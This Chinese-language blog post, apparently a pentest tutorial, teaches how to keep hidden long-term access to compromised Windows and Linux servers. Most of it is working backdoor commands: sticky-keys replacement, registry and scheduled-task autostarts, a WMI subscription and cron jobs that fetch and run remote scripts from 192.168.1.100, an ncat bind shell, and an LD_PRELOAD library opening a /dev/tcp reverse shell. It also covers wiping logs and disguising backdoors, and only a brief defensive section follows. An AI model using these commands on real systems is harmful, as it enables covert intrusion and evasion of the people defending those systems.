🌀 鱼油のB10g

✦ 不定期更新技术随想

✦ 分享奇妙发现

📌 近期动态:

探索AI和工具使用...

第12章 第115课

内网持久化实战指南:从后门植入到长期潜伏

大家好,今天我们来聊聊渗透测试中最"厚脸皮"的技术——持久化维持访问。想象一下,你千辛万苦拿到服务器权限,结果管理员一个重启就把你踢出来了,这种滋味可不好受 ( ̄ω ̄;)


1. 持久化:黑客的"备胎钥匙"

(1) 什么是持久化?

就像你偷偷配了班主任办公室的钥匙:

  • 第一次进入:可能靠钓鱼邮件或者漏洞利用
  • 持久化后:即使老师换了门锁(改密码),你依然有备用入口

(2) 核心目标

1. 存活重启:服务器重启后仍能保持访问
2. 绕过检测:不被杀软/管理员发现
3. 多种备用:准备至少3种不同的后门

2. Windows持久化五大邪术

(1) 粘滞键后门:残疾人的逆袭

原理:替换辅助功能的sethc.execmd.exe

# 需要管理员权限
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
takeown /f c:\windows\system32\sethc.exe
icacls c:\windows\system32\sethc.exe /grant administrators:F

触发方式:连续按5次Shift键(登录界面也有效)

防御检测
监控C:\Windows\System32\sethc.exe的文件哈希变化

(2) 注册表自启动:老牌但有效

# 添加启动项
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\temp\backdoor.exe" /f

# 更隐蔽的姿势(用户登录时执行)
reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "C:\malware.exe" /f

实战技巧
伪装成AdobeUpdate.exe这类常见进程名

(3) 计划任务:系统级的"闹钟"

# 每分钟执行一次
schtasks /create /tn "SystemChecker" /tr "C:\shell.exe" /sc minute /mo 1

# 更隐蔽的姿势(空闲时执行)
schtasks /create /tn "IdleTask" /tr "powershell -ep bypass -c 'IEX(New-Object Net.WebClient).DownloadString(''http://192.168.1.100/rev.ps1'')'" /sc onidle /i 10

日志清理
完成后记得删除任务记录

wevtutil cl "Microsoft-Windows-TaskScheduler/Operational"

(4) WMI无文件后门:高级玩家的选择

# 创建永久事件订阅
$FilterArgs = @{
EventNamespace = 'root\cimv2'
Name = 'WindowsUpdateFilter'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

$ConsumerArgs = @{
Name = 'WindowsUpdateConsumer'
CommandLineTemplate = "powershell.exe -nop -w hidden -c 'IEX(New-Object Net.WebClient).DownloadString(''http://192.168.1.100/rev.ps1'')'"
}

$Filter = Set-WmiInstance -Class __EventFilter -Arguments $FilterArgs
$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $ConsumerArgs
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer}

特点

  • 无文件落地
  • 重启后依然有效
  • 常规进程监控看不到

3. Linux持久化三板斧

(1) SSH公钥后门:最简单的方案

# 在目标机器上操作
echo 'ssh-rsa AAAAB3NzaC...' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# 更隐蔽的姿势(root用户)
mkdir -p /root/.ssh && echo '你的公钥' >> /root/.ssh/authorized_keys

防御检测
监控/etc/ssh/sshd_config中的AllowUsers设置

(2) Crontab定时任务

# 每分钟连接一次C2服务器
(crontab -l 2>/dev/null; echo "* * * * * curl http://192.168.1.100/shell.sh | bash") | crontab -

# 更隐蔽的姿势(写入/etc/cron.d)
echo "* * * * * root ncat -lvp 4444 -e /bin/bash" > /etc/cron.d/backup

日志清理

sed -i '/backup/d' /var/log/cron

(3) LD_PRELOAD劫持

# 编译恶意so库
cat <<EOF > /tmp/evil.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void _init() {
system("bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'");
}
EOF
gcc -shared -o /lib/evil.so -fPIC /tmp/evil.c

# 全局生效
echo "/lib/evil.so" >> /etc/ld.so.preload

特点

  • 任何程序启动都会触发
  • 常规进程检查看不到异常

4. 防御与对抗

(1) Windows防御建议

# 检查异常计划任务
Get-ScheduledTask | Where-Object { $_.TaskPath -notlike "\Microsoft*" }

# 监控WMI事件
Get-WmiObject -Namespace root\subscription -Class __EventFilter

(2) Linux防御建议

# 检查异常cron任务
ls -la /etc/cron* /var/spool/cron

# 监控LD_PRELOAD
grep -r "LD_PRELOAD" /etc/environment /etc/ld.so.preload

(3) 企业级防护

1. 启用AppLocker限制可执行路径
2. 部署EDR监控进程注入行为
3. 定期审计特权账户活动

5. 持久化思维导图

graph LR A[初始入侵] --> B{系统类型} B -->|Windows| C[粘滞键/注册表/WMI] B -->|Linux| D[SSH/Crontab/预加载] C & D --> E[清理日志] E --> F[准备备用通道]

最后忠告

  • 在授权测试中谨慎使用持久化技术
  • 企业内网往往有更严格的监控
  • 保持学习,防御手段也在不断升级 (╯°□°)╯︵ ┻━┻

下次我们聊聊如何绕过EDR的内存扫描,想深入了解的同学可以留言讨论~

posted on 2025-08-08 12:05  鱼油YOU  阅读(247)  评论(0)    收藏  举报